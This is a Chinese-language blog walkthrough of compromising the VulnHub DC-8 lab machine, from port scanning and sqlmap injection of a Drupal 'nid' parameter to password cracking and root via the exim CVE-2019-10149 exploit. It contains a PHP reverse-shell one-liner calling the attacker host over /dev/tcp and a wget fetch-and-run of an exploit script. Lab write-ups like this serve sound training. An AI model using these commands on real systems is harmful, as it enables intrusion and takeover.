vulnhub DC-8

信息搜集

探测局域网内存活主机

nmap -sP 192.168.19.128/24

发现主机192.168.19.135,扫描开放端口

nmap -p- 192.168.19.135

发现如下端口开放

22/tcp open  ssh
80/tcp open  http

访问80端口

渗透

我们使用火狐的wappalyzer(whatweb的替代品,图形化更清晰,但是功能没有whatweb强)查看网站信息
image

发现使用的是Drupal7 CMS框架
我们对这个Drupal7的结构不是很熟悉,使用dirsearch扫描一下目录

dirsearch -u http://192.168.19.135/

结果如下

200    33KB  http://192.168.19.135/CHANGELOG.txt
200   769B   http://192.168.19.135/COPYRIGHT.txt
200     1KB  http://192.168.19.135/install.php
200     1KB  http://192.168.19.135/install.php?profile=default
200   868B   http://192.168.19.135/INSTALL.mysql.txt
200   842B   http://192.168.19.135/INSTALL.pgsql.txt
200     6KB  http://192.168.19.135/INSTALL.txt
200     7KB  http://192.168.19.135/LICENSE.txt
200     2KB  http://192.168.19.135/MAINTAINERS.txt
200     2KB  http://192.168.19.135/node
200     2KB  http://192.168.19.135/README.txt
200   744B   http://192.168.19.135/robots.txt
200   129B   http://192.168.19.135/sites/all/libraries/README.txt
200   545B   http://192.168.19.135/sites/all/themes/README.txt
200   715B   http://192.168.19.135/sites/all/modules/README.txt
200   431B   http://192.168.19.135/sites/README.txt
200     0B   http://192.168.19.135/sites/example.sites.php
200     3KB  http://192.168.19.135/UPGRADE.txt
200     2KB  http://192.168.19.135/user
200     2KB  http://192.168.19.135/user/
200     2KB  http://192.168.19.135/user/login/
200   177B   http://192.168.19.135/views/ajax/autocomplete/user/a
200     2KB  http://192.168.19.135/web.config
200    42B   http://192.168.19.135/xmlrpc.php

我们访问/user/login路由,估计是登录页面.
在主页面存在一个可以的点,就是左边的Details栏.我们点击不同的,会发现上面绿色的打了对钩的栏中的内容会发生改变,然后url中nid的值也会改变.这可太抽象了,居然向后端传送了数据.
image

盲猜这个nid有sql注入.
我们使用sqlmap一扫,发现真有.得到了数据库名d7db,然后去爆表,发现有一个users表.然后去爆列,发现有name和pass这两个列.然后去爆具体的值,如下.
image

我们在cmd5网站爆破john的密码,发现为turtle
此时可以通过/user/login进行登录了.
在Webform->Settings->Formsettings中可以写入php马.这个Drupal自带了php扩展,安全性比较弱.

<?php @system("bash -c 'bash -i >& /dev/tcp/192.168.19.128/2333 0>&1'");?>

image

然后对content进行submit成功反弹shell(如果没有成功就重新挂载一个新的靶机去试就行)

提权

使用find命令查找SUID权限文件.SUID文件就是允许普通用户以文件所有者权限进行操作的权限.我们查找这个root用户的文件,有可能实现提权.

find / -typ f -perm -04000 -ls 2>/dev/null

image

我们发现存在一个exim4.这是一个邮件服务器,然而存在本地命令执行漏洞(cve-2019-10149)
在4.87-4.92的版本中存在这个漏洞,我们先来查看版本.

exim4 --version

发现版本为4.89,因此存在这个漏洞.同时注意到了一个问题,就是它叫exim,然后4是因为是4点几的版本.
我们在kali下搜索漏洞

searchsploit exim

image

我们发现存在一个4.87-4.91的Privilege Escalation,标号为46996.sh,我们查看路径,从而查看文件内容.

searchsploit 46996.sh -p
cat /usr/share/exploitdb/exploits/linux/local/46996.sh

发现其中给出了脚本的使用方式:
image

一共有setuid和netcat两种使用方式.首先我们先把脚本拷贝一份,然后起一个httpserver

cp /usr/share/exploitdb/exploits/linux/local/46996.sh exp
python3 -v http.server

然而我们在靶机上远程获取文件的时候,发现没有写文件权限.切换到/tmp目录

wget http://192.168.19.128:8000/exp

成功将exp传输到了本地,修改文件权限并运行

chmod 777 exp
./exp -m netcat #setuid没好用,很奇怪

此时输入id查看用户分组:

uid=0(root) gid=113(Debian-exim) groups=113(Debian-exim)

切换到root home,读取flag.
image

posted @ 2024-07-30 08:12  colorfullbz  阅读(59)  评论(0)    收藏  举报